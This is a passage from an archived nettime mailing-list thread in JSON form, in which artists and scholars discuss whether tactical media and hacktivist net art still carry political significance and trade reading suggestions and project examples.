politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on\n\nsnip\n\n\n\n\n\nGreat. So needed. I wrote a dissertation on WiFi practices - a bit earlier history than what you are looking for. I write about \u201cwarchalking\u201d and other kinds of social media based information spaces, hacks. From that experience I\u2019d bet you will be best off in the arts. If there is writing being done it would be from groups like the then - headman - Knowbotics Research, etc. But the best project - utilizing mobile tools and being both tactical and poetry and human rights - Transborder Tool b.a.n.g. Lab. Ricardo Dominguez\u2019s and Brett Stalbaum from virtual sit-in days behind it as well as Micha Cardenas. We programmed this into our project - City Centered: Locative Media and Wireless Festival - 2010. I think TBT is having a re-release. (Smile)\n\n\n\n\n\n\n\nMolly\n\n\n\n\n\n\n\nOn Thu, Jun 27, 2019 at 3:40 AM Rachel O' Dwyer <rachel.odwyer@gmail.com> wrote:\n\n\n\n\n\nWhat characterises media art interventions in the context of \u2018surveillance capitalism\u2019, platforms and the gig economy? Are these practices still meaningful or, as F.A.T. Lab claimed in 2015, \n\nhave they lost political significance in the face of global platforms?\n\n\n\n\n\n\n\nCan we still speak about \u2018tactical media\u2019 or \u2018the exploit\u2019, and if not is this because\n\n\n\na) network activism has transformed so that these older descriptions no longer accurately describe net art and \u2018hacktivist\u2019 practices, or\n\n\n\nb) these art practices have stayed much the same, but they are no longer effective in the current political and economic context?\n\n\n\n\n\nI\u2019m wondering if anyone knows of any writing that attempts to theorise/frame media art activist work post 2012? Perhaps to speak about it as a set of practices discrete from theories of \u2018tactical media\u2019 or \u2018the exploit\u2019 that go before? Perhaps something on post-internet art and activism?\n\nOr is it a case of looking at writing about activism in the face of defeat and what seems like a hopeless cause?\n\n\n\n\n\nIf you've read or written anything that you think might be interesting I'd love to hear about it,\n\n\n\n\n\nBest,\n\n\n\n\n\nRachel\n\n\n\n\n\nA bit more detail about why I'm asking this question:\n\n\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on.\n\n\n\nBut I\u2019m feeling a bit paralysed.\n\n\n\nI love these works; I love their inventive materiality and the ways that they exploit and reverse-engineer existing systems, but I don\u2019t know what claims I can make for their political impact. And yet I feel that this work is still very worthwhile.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n--\n\n\n\nhttp://www.rachelodwyer.com/\n\n+353 (85) 7023779\n\n\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n# distributed via : no commercial use without permission\n#  is a moderated mailing list for net criticism,\n# collaborative text filtering and cultural politics of the nets\n# more info: http://mx.kein.org/mailman/listinfo/nettime-l\n# archive: http://www.nettime.org contact: nettime@kein.org\n# @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00118",
                        "date": "Sun, 30 Jun 2019 17:04:57 +0300",
                        "to": "voyd@voyd.com",
                        "message-id": "CAEbi+4RkBHPQFVGuBPFLoXqA1KnSEscdhhDQbkDrOQQvRju9aQ@mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00118.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Minka Stoyanova",
                        "subject": "Re: <nettime> Has net-art lost political significance?"
                    }
                ],
                "message-id": "CAJnPTJkpcfkH8ANdKLSRBjtkidUp_2xGcbrv1S+oo3Rx&#45;WWUUw@mail.gmail.com",
                "date": "Thu, 27 Jun 2019 11:27:13 +0100",
                "content-type": "multipart/mixed"
            },
            {
                "id": "00001",
                "content": "Hi everyone,I really appreciate all the replies both on and off\nthe list.\n\nI\nhadn't made a connection between this post and the very popular discussion of\nnet-time and I\u2019m very interested to hear that Transmediale is exploring the\npersistence of networks.\n\n\n\n\n\nOne\nof the most inspiring books I've read in the past few years was Anna Tsing's A Mushroom at\nthe end of the world: on the possibility of life in capitalist ruins.\n\nIt might seem odd that an\nanthropological text on supply chains and Matsutake mushrooms changed how I thought\nabout the politics of networks, but the book also explores the limits and\npossibilities of political agency from a position of ecological ruin,\nhopelessness and precarity. A brilliant chapter \u2018some problems with scale\u2019 also\nhelped me to articulate criticisms I had of a lot of peer-to-peer and network\nactivist projects. I\u2019m also re-reading some work from people like the late Mark Fisher and Rebecca\nSolnit on politics and hope. \n\n\n\n\n\nA\nfew things have come up in conversations over the past few weeks (I\u2019ve mostly\nbeen talking to and emailing people instead of writing).\n\n\n\n\n\n1.\nThere also seems to be a shift towards a feminist politics of\nnetworks. Maybe I\u2019m using the term \u2018feminist\u2019 incorrectly here because I don\u2019t\nmean work that\u2019s particularly concerned with identity politics. But if we say\nthat people like Butler\nand Haraway\nand Barad\ndisrupt binary thinking around gender and materiality, this kind of\ntransdisciplinary, non-binary thinking coupled with an ethics of care (i.e.\nsomeone like Maria\nPuig de la BellaCasa) provides us with a set of tools for thinking through new kinds of resistance as well as new ways of relating to ourselves with and through networked communications infrastructure. There\nseems to be more of an emphasis on localized and situated interventions for\nexample rather than things that scale. There seems to be a greater emphasis on\npedagogical practices than on technical implementation. If anything is starting to\nemerge as a kind of pattern for me, this is it. I think that\u2019s also reflected\nin the sensibilities of projects like Platform\nCooperativism and the Decode\nProject. \n\n\n\n\n\n2.\nTechniques that can be identified as part of first and second wave \u2018tactical\nmedia\u2019 such as reverse-engineering/ circuit bending/ hacking; the exploit; commoning/DIY;\nobfuscation; visualization/mapping; and speculative imagining are still used\nand are still necessary.\n\n And I think\nsome of these, particularly reverse-engineering and obfuscation, seem to be\nparticularly significant in the context of platforms. Not to mention being able\nto imagine alternatives in the face of overwhelming\n\nodds.\n\n\n\n\n\nThese are some of my own thoughts coming\nout of returning to the book I\u2019m writing on the politics of wireless networks\nand the EM spectrum, from students while teaching an undergraduate elective on\nnetwork politics and art with undergraduate students in NCAD and recent conversations\nmostly over networks with Rosa Menkman, Geert Lovink, Jussi Parikka, Surya\nMattu, Patrick Bresnihan, Brian Holmes, Nate Tkacz, Nora O Murchu and Sarah\nGrant, the OMG collective in Dublin and C-Node (Paul O\u2019Brien) in the past few\nweeks.\n\nOn Sun, Jun 30, 2019 at 3:05 PM Minka Stoyanova <theartist@minkaart.net> wrote:Hello Rachel,\n\nI love your questions. Personally, I just submitted my PhD thesis which had some similar research goals. While I love the construct of \"the network\" and \"the exploit\" -- I feel they are dated/need revision in today's landscape of platform politics. In addition I think the flat hierarchy of the network is a bit utopian and doesn't recognize the power of some individuals in the overall structure. Moreover, I feel the discourse around tactical works needs to be expanded to include works that engage technology (broadly) in a critical way as, for me, technology and the internet are (at this point) part of a single continuum. The idea that we can talk about work 'on the web' singularly and separate from work that is about the web, that is of the web, or that is simply of our current techno-social condition is stifling, I believe.\n\nI think you can apply whatever theoretical model you want; the discourse (as your research question recognizes) is ripe for new frameworks. Personally, I used my own kind of cyborg theory (a blend of Heidegger, McLuhan, Latour, Haraway, Bratton, and Terranova... among others) to discuss these types of works in terms of challenging our relationship to technology as both a global system we are embedded in and distributed across and as something which has embedded itself in us. Maybe that will help you with your approach.\n\nCertainly, there are artists making work that is interesting, important, and political in this landscape. Many are mentioned in other responses. Goodness, what the alt-right did was straight out of the handbook of Tactical Media, very effective, and not not art -- although it might terrify some of us. That has been discussed here, in fact -- and I was again discussing it last week at a conference.\n\n~MinkaOn Fri, Jun 28, 2019 at 11:38 AM <voyd@voyd.com> wrote:\n\t\n\n\nSo interesting.\n\n\nI also find this so interesting because in the light of fakeness, Tactical Media is harder, in the sense of the intervention/provocation to response that was done\n\n with RTMark/YesMen back in the time I was active. I think that the new Washington Post, after the Times and NY Post ones that were done in the late 2000's, was powerful because I heard about it in the UAE.\n\nHowever, in the Eastern hemisphere, I have been working with AR as a \"local\" discourse (meaning that anyone can get the app, but the message is pretty limited to them), as well as working with artists in Kazakhstan about messages AR as tactical media, such as overlaying messages over works in the National Mueum (based on the Manifest.AR We AR MoMA intervention I was part of around 2010) and the \"Modernization of Consciousness\" (Ruhani Zhangru) posters in 2018.\n\n These are some interestign ways in which one can laterally engage networks for critical discourse.\n\nIn addition, I am working with David Guillo with his independent web router galleries as a sort of TAZ in regions that employ firewalls and net.filtering. This follows from my setting up occupy.here routers as wifi \"islands\" for collaboration without using VPN, and therefore staying technically within local regulations.\n\nWhile not so much \"Tactical\" media, I consider that in the era of increasing firewalling, and in the case of threatened net.separation in Russia and Iran, I feel hang autonomous server art is a critical space for exploration of these topics as well.\n\nOn Thu, 27 Jun 2019 15:28:58 -0700, Molly Hankwitz  wrote:\n\n\n\n\nHi Rachel,\n\n\n\n\n\nsnip -\n\n\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on\n\nsnip\n\n\n\n\n\nGreat. So needed. I wrote a dissertation on WiFi practices - a bit earlier history than what you are looking for. I write about \u201cwarchalking\u201d and other kinds of social media based information spaces, hacks. From that experience I\u2019d bet you will be best off in the arts. If there is writing being done it would be from groups like the then - headman - Knowbotics Research, etc. But the best project - utilizing mobile tools and being both tactical and poetry and human rights - Transborder Tool b.a.n.g. Lab. Ricardo Dominguez\u2019s and Brett Stalbaum from virtual sit-in days behind it as well as Micha Cardenas. We programmed this into our project - City Centered: Locative Media and Wireless Festival - 2010. I think TBT is having a re-release. (Smile)\n\n\n\n\n\n\n\nMolly\n\n\n\n\n\n\n\nOn Thu, Jun 27, 2019 at 3:40 AM Rachel O' Dwyer <rachel.odwyer@gmail.com> wrote:\n\n\n\n\n\nWhat characterises media art interventions in the context of \u2018surveillance capitalism\u2019, platforms and the gig economy? Are these practices still meaningful or, as F.A.T. Lab claimed in 2015, \n\nhave they lost political significance in the face of global platforms?\n\n\n\n\n\n\n\nCan we still speak about \u2018tactical media\u2019 or \u2018the exploit\u2019, and if not is this because\n\n\n\na) network activism has transformed so that these older descriptions no longer accurately describe net art and \u2018hacktivist\u2019 practices, or\n\n\n\nb) these art practices have stayed much the same, but they are no longer effective in the current political and economic context?\n\n\n\n\n\nI\u2019m wondering if anyone knows of any writing that attempts to theorise/frame media art activist work post 2012? Perhaps to speak about it as a set of practices discrete from theories of \u2018tactical media\u2019 or \u2018the exploit\u2019 that go before? Perhaps something on post-internet art and activism?\n\nOr is it a case of looking at writing about activism in the face of defeat and what seems like a hopeless cause?\n\n\n\n\n\nIf you've read or written anything that you think might be interesting I'd love to hear about it,\n\n\n\n\n\nBest,\n\n\n\n\n\nRachel\n\n\n\n\n\nA bit more detail about why I'm asking this question:\n\n\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on.\n\n\n\nBut I\u2019m feeling a bit paralysed.\n\n\n\nI love these works; I love their inventive materiality and the ways that they exploit and reverse-engineer existing systems, but I don\u2019t know what claims I can make for their political impact. And yet I feel that this work is still very worthwhile.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n--\n\n\n\nhttp://www.rachelodwyer.com/\n\n+353 (85) 7023779\n\n\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n# distributed via : no commercial use without permission\n#  is a moderated mailing list for net criticism,\n# collaborative text filtering and cultural politics of the nets\n# more info: http://mx.kein.org/mailman/listinfo/nettime-l\n# archive: http://www.nettime.org contact: nettime@kein.org\n# @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n-- http://www.rachelodwyer.com/+353 (85) 7023779\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                "to": "Minka Stoyanova <theartist@minkaart.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1907/msg00001.html",
                "list": "nettime_l",
                "author_name": "Rachel O' Dwyer",
                "subject": "Re: <nettime> Has net-art lost political significance?",
                "from": "\"Rachel O' Dwyer\" <rachel.odwyer@gmail.com>",
                "follow-up": [
                    {
                        "from": "ancis Hunger <francis.hunger@irmielin.org>",
                        "content": "\n  \n  \n    Hi Rachel,\n    \n    \n      \n        \n          \n            \n              \n                \n                  \n                    \n                      \n                        \n                          \n                            A bit more\n                                  detail about why I'm asking this\n                                  question:\n\n\n                              \n                                I\u2019m\n                                      currently writing about various\n                                      tactical and activist practices in\n                                      the wireless space, including\n                                      artistic interventions,\n                                      software-defined radio communities\n                                      who are reverse-engineering,\n                                      hacking, sniffing and jamming\n                                      signals, communities and activists\n                                      who are building communal Wi-Fi\n                                      and cellular networks and artists\n                                      making work in or about the\n                                      politics of the wireless spectrum\n                                      \u2013 who owns it, how it\u2019s controlled\n                                      and so on. \n                                    \n                              \n                            \n                          \n                        \n                      \n                    \n                  \n                \n              \n            \n          \n        \n      \n    \n    I think exceptional work in the early 2000s was\n        done in the Acoustic Ecologies and Acoustic Space series by\n        rixc.org and Rasa and Raitis http://rixc.org/en/acousticspace/all/.\n        HMKV Dortmund saw the Waves exhibition \n      https://www.hmkv.de/programm/programmpunkte/2008/Ausstellungen/Waves.php\n    \n      \n        \n          \n            \n              \n                \n                  \n                    \n                      \n                        \n                          \n                            \n                              \n                                But I\u2019m\n                                      feeling a bit paralysed.\n\n\n                                I love\n                                      these works; I love their\n                                      inventive materiality and the ways\n                                      that they exploit and\n                                      reverse-engineer existing systems,\n                                      but I don\u2019t know what claims I can\n                                      make for their political impact.\n                                      And yet I feel that this work is\n                                      still very worthwhile. \n                                    \n                              \n                            \n                          \n                        \n                      \n                    \n                  \n                \n              \n            \n          \n        \n      \n    \n    It may simply be the case that artists have\n        notoriously overstated the possible impact of their\n        works/research. Which makes sense against the historical\n        context: During the late 1990s and early 2000s \"Internet\" was\n        still something new and not part of overall discourse and\n        academic discourse, so it was relatively easy for artists\n        tapping in or creating a certain discursive field that appeared\n        to be \"avant-garde\" at that time. This possibility to create and\n        direct discourse slowly evaporated with capital on the one hand\n        and academia on the other joining in, and re-shaping the\n        discoursive field towards \"the digital\" as we know it today.\n    Claims of impact may also have been made to simply\n        get funding, since one of the tactics of tactical media was\n        getting public or private funding, since the works were not\n        being sold on the art market. So no income from Basel.\n      \n    Already early on there has been internal critique\n        against certain claims that (some) media art made. Personally\n        for me the most important intervention was Alexei Shulgins 1997\n        proposal against \"interactive art\".\n        https://twitter.com/databaseculture/status/1136256115652603904\n        and I wonder, if similar critique of tactical media was around\n        at that time. I think so.\n    All in all it never has been an undisputed field,\n        and you feeling paralysed may be just worth to follow. One of\n        the results of this kind of critical inquiry may be to look more\n        precisely into the claims that AI based art makes today.\n    best\n    Francis\n      \n    -- \n\nhttp://www.irmielin.org\nhttp://nothere.irmielin.org\nhttp://databasecultures.irmielin.org\n\n  \n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00002",
                        "date": "Mon, 1 Jul 2019 20:45:54 +0200",
                        "to": "nettime-l@mail.kein.org",
                        "message-id": "bbd7276f&#45;78b9&#45;0848&#45;f5d0&#45;0478803f190a@irmielin.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1907/msg00002.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Francis Hunger",
                        "subject": "Re: <nettime> Has net-art lost political significance?"
                    },
                    {
                        "content-type": "multipart/mixed",
                        "from": "uture Tense <future10s@protonmail.com>",
                        "id": "00016",
                        "content": "+1I wanted to contribute that the\n\nrecent scholarly work\n\nof HCI\n\nresearchers such as Os Keyes et\n\nal\u2019s \u201cA Mulching Proposal\u201d and\n\n\n\nAI researcher\n\nJoy Buolamwini et al\u2019s \u201cGender Shades,\u201d\n\netc.,\n\nexist\n\nin the space of serious research and savvy presentation that contains inherent critiques of their subjects in a way that is reminiscent of some of the art projects mentioned in various threads.\n\nWhat is interesting there is that these projects are\n\nalso very\n\nspecific to\n\na highly-engaged community that already prizes knowledge sharing and gets a lot of press attention,\n\nso I\u2019d argue that\n\nthese researchers\n\n are well-positioned to\n\naffect\n\nthe fields that they critique. I\u2019m not sure how engaged net-artists are by comparison, as I am woefully ignorant of the current state of things there. :)Maybe artists can also\n\ncarve out more\n\nspace for themselves\n\nin academic/industry networks\n\nso they can\n\nradicalize- I mean\n\nreach-\n\nmore people?-SOn Mon, Jul 1, 2019 at 9:38 AM, Rachel O' Dwyer <rachel.odwyer@gmail.com> wrote:  Hi everyone,I really appreciate all the replies both on and off\nthe list.\n\nI\nhadn't made a connection between this post and the very popular discussion of\nnet-time and I\u2019m very interested to hear that Transmediale is exploring the\npersistence of networks.\n\n\n\n\n\nOne\nof the most inspiring books I've read in the past few years was Anna Tsing's A Mushroom at\nthe end of the world: on the possibility of life in capitalist ruins.\n\nIt might seem odd that an\nanthropological text on supply chains and Matsutake mushrooms changed how I thought\nabout the politics of networks, but the book also explores the limits and\npossibilities of political agency from a position of ecological ruin,\nhopelessness and precarity. A brilliant chapter \u2018some problems with scale\u2019 also\nhelped me to articulate criticisms I had of a lot of peer-to-peer and network\nactivist projects. I\u2019m also re-reading some work from people like the late Mark Fisher and Rebecca\nSolnit on politics and hope. \n\n\n\n\n\nA\nfew things have come up in conversations over the past few weeks (I\u2019ve mostly\nbeen talking to and emailing people instead of writing).\n\n\n\n\n\n1.\nThere also seems to be a shift towards a feminist politics of\nnetworks. Maybe I\u2019m using the term \u2018feminist\u2019 incorrectly here because I don\u2019t\nmean work that\u2019s particularly concerned with identity politics. But if we say\nthat people like Butler\nand Haraway\nand Barad\ndisrupt binary thinking around gender and materiality, this kind of\ntransdisciplinary, non-binary thinking coupled with an ethics of care (i.e.\nsomeone like Maria\nPuig de la BellaCasa) provides us with a set of tools for thinking through new kinds of resistance as well as new ways of relating to ourselves with and through networked communications infrastructure. There\nseems to be more of an emphasis on localized and situated interventions for\nexample rather than things that scale. There seems to be a greater emphasis on\npedagogical practices than on technical implementation. If anything is starting to\nemerge as a kind of pattern for me, this is it. I think that\u2019s also reflected\nin the sensibilities of projects like Platform\nCooperativism and the Decode\nProject. \n\n\n\n\n\n2.\nTechniques that can be identified as part of first and second wave \u2018tactical\nmedia\u2019 such as reverse-engineering/ circuit bending/ hacking; the exploit; commoning/DIY;\nobfuscation; visualization/mapping; and speculative imagining are still used\nand are still necessary.\n\n And I think\nsome of these, particularly reverse-engineering and obfuscation, seem to be\nparticularly significant in the context of platforms. Not to mention being able\nto imagine alternatives in the face of overwhelming\n\nodds.\n\n\n\n\n\nThese are some of my own thoughts coming\nout of returning to the book I\u2019m writing on the politics of wireless networks\nand the EM spectrum, from students while teaching an undergraduate elective on\nnetwork politics and art with undergraduate students in NCAD and recent conversations\nmostly over networks with Rosa Menkman, Geert Lovink, Jussi Parikka, Surya\nMattu, Patrick Bresnihan, Brian Holmes, Nate Tkacz, Nora O Murchu and Sarah\nGrant, the OMG collective in Dublin and C-Node (Paul O\u2019Brien) in the past few\nweeks.\n\nOn Sun, Jun 30, 2019 at 3:05 PM Minka Stoyanova <theartist@minkaart.net> wrote:Hello Rachel,\n\nI love your questions. Personally, I just submitted my PhD thesis which had some similar research goals. While I love the construct of \"the network\" and \"the exploit\" -- I feel they are dated/need revision in today's landscape of platform politics. In addition I think the flat hierarchy of the network is a bit utopian and doesn't recognize the power of some individuals in the overall structure. Moreover, I feel the discourse around tactical works needs to be expanded to include works that engage technology (broadly) in a critical way as, for me, technology and the internet are (at this point) part of a single continuum. The idea that we can talk about work 'on the web' singularly and separate from work that is about the web, that is of the web, or that is simply of our current techno-social condition is stifling, I believe.\n\nI think you can apply whatever theoretical model you want; the discourse (as your research question recognizes) is ripe for new frameworks. Personally, I used my own kind of cyborg theory (a blend of Heidegger, McLuhan, Latour, Haraway, Bratton, and Terranova... among others) to discuss these types of works in terms of challenging our relationship to technology as both a global system we are embedded in and distributed across and as something which has embedded itself in us. Maybe that will help you with your approach.\n\nCertainly, there are artists making work that is interesting, important, and political in this landscape. Many are mentioned in other responses. Goodness, what the alt-right did was straight out of the handbook of Tactical Media, very effective, and not not art -- although it might terrify some of us. That has been discussed here, in fact -- and I was again discussing it last week at a conference.\n\n~MinkaOn Fri, Jun 28, 2019 at 11:38 AM <voyd@voyd.com> wrote:\n\n\n\nSo interesting.\n\n\nI also find this so interesting because in the light of fakeness, Tactical Media is harder, in the sense of the intervention/provocation to response that was done\n\n with RTMark/YesMen back in the time I was active. I think that the new Washington Post, after the Times and NY Post ones that were done in the late 2000's, was powerful because I heard about it in the UAE.\n\nHowever, in the Eastern hemisphere, I have been working with AR as a \"local\" discourse (meaning that anyone can get the app, but the message is pretty limited to them), as well as working with artists in Kazakhstan about messages AR as tactical media, such as overlaying messages over works in the National Mueum (based on the Manifest.AR We AR MoMA intervention I was part of around 2010) and the \"Modernization of Consciousness\" (Ruhani Zhangru) posters in 2018.\n\n These are some interestign ways in which one can laterally engage networks for critical discourse.\n\nIn addition, I am working with David Guillo with his independent web router galleries as a sort of TAZ in regions that employ firewalls and net.filtering. This follows from my setting up occupy.here routers as wifi \"islands\" for collaboration without using VPN, and therefore staying technically within local regulations.\n\nWhile not so much \"Tactical\" media, I consider that in the era of increasing firewalling, and in the case of threatened net.separation in Russia and Iran, I feel hang autonomous server art is a critical space for exploration of these topics as well.\n\nOn Thu, 27 Jun 2019 15:28:58 -0700, Molly Hankwitz  wrote:\n\n\n\n\nHi Rachel,\n\n\n\n\n\nsnip -\n\n\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on\n\nsnip\n\n\n\n\n\nGreat. So needed. I wrote a dissertation on WiFi practices - a bit earlier history than what you are looking for. I write about \u201cwarchalking\u201d and other kinds of social media based information spaces, hacks. From that experience I\u2019d bet you will be best off in the arts. If there is writing being done it would be from groups like the then - headman - Knowbotics Research, etc. But the best project - utilizing mobile tools and being both tactical and poetry and human rights - Transborder Tool b.a.n.g. Lab. Ricardo Dominguez\u2019s and Brett Stalbaum from virtual sit-in days behind it as well as Micha Cardenas. We programmed this into our project - City Centered: Locative Media and Wireless Festival - 2010. I think TBT is having a re-release. (Smile)\n\n\n\n\n\n\n\nMolly\n\n\n\n\n\n\n\nOn Thu, Jun 27, 2019 at 3:40 AM Rachel O' Dwyer <rachel.odwyer@gmail.com> wrote:\n\n\n\n\n\nWhat characterises media art interventions in the context of \u2018surveillance capitalism\u2019, platforms and the gig economy? Are these practices still meaningful or, as F.A.T. Lab claimed in 2015, \n\nhave they lost political significance in the face of global platforms?\n\n\n\n\n\n\n\nCan we still speak about \u2018tactical media\u2019 or \u2018the exploit\u2019, and if not is this because\n\n\n\na) network activism has transformed so that these older descriptions no longer accurately describe net art and \u2018hacktivist\u2019 practices, or\n\n\n\nb) these art practices have stayed much the same, but they are no longer effective in the current political and economic context?\n\n\n\n\n\nI\u2019m wondering if anyone knows of any writing that attempts to theorise/frame media art activist work post 2012? Perhaps to speak about it as a set of practices discrete from theories of \u2018tactical media\u2019 or \u2018the exploit\u2019 that go before? Perhaps something on post-internet art and activism?\n\nOr is it a case of looking at writing about activism in the face of defeat and what seems like a hopeless cause?\n\n\n\n\n\nIf you've read or written anything that you think might be interesting I'd love to hear about it,\n\n\n\n\n\nBest,\n\n\n\n\n\nRachel\n\n\n\n\n\nA bit more detail about why I'm asking this question:\n\n\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on.\n\n\n\nBut I\u2019m feeling a bit paralysed.\n\n\n\nI love these works; I love their inventive materiality and the ways that they exploit and reverse-engineer existing systems, but I don\u2019t know what claims I can make for their political impact. And yet I feel that this work is still very worthwhile.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n--\n\n\n\nhttp://www.rachelodwyer.com/\n\n+353 (85) 7023779\n\n\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n# distributed via : no commercial use without permission\n#  is a moderated mailing list for net criticism,\n# collaborative text filtering and cultural politics of the nets\n# more info: http://mx.kein.org/mailman/listinfo/nettime-l\n# archive: http://www.nettime.org contact: nettime@kein.org\n# @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n-- http://www.rachelodwyer.com/+353 (85) 7023779\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "date": "Thu, 04 Jul 2019 18:55:03 +0000",
                        "to": "Rachel O' Dwyer <rachel.odwyer@gmail.com>, Minka Stoyanova <theartist@minkaart.net>",
                        "message-id": "QmI39bupbFDQjidI4x6EMGbZ9hRYPwBGCmDmpHex&#45;FZMnRKrigEPm_V4F3xLAC3cn9smXn2fadk9BDwqLYKXJoM7kjGQpaXUsBYPiJh3DXU=@protonmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1907/msg00016.html",
                        "list": "nettime_l",
                        "author_name": "Future Tense",
                        "subject": "Re: <nettime> Has net-art lost political significance?"
                    },
                    {
                        "from": "tacira@riseup.net",
                        "content": "tredi digitofagico~ estao capturados pela ubiquidade das ferramentas,\nestao cada vez mais nas ruas, estao de maos dadas com o software livre\nchorando pitombas, estao germinando apos digeridas :)\n\n\nEm 2019-06-27 07:27, Rachel O' Dwyer escreveu:\n> What characterises media art interventions in the context of\n> \u2018surveillance capitalism\u2019, platforms and the gig economy? Are\n> these practices still meaningful or, as F.A.T. Lab claimed in 2015, \n> have they lost political significance in the face of global platforms?\n> \n>  Can we still speak about \u2018tactical media\u2019 or \u2018the exploit\u2019,\n> and if not is this because \n> \n> a) network activism has transformed so that these older descriptions\n> no longer accurately describe net art and \u2018hacktivist\u2019 practices,\n> or \n> \n> b) these art practices have stayed much the same, but they are no\n> longer effective in the current political and economic context?\n> \n> I\u2019m wondering if anyone knows of any writing that attempts to\n> theorise/frame media art activist work post 2012? Perhaps to speak\n> about it as a set of practices discrete from theories of \u2018tactical\n> media\u2019 or \u2018the exploit\u2019 that go before? Perhaps something on\n> post-internet art and activism?\n> \n> Or is it a case of looking at writing about activism in the face of\n> defeat and what seems like a hopeless cause?\n> \n> If you've read or written anything that you think might be interesting\n> I'd love to hear about it,\n> \n> Best,\n> \n> Rachel\n> \n> A bit more detail about why I'm asking this 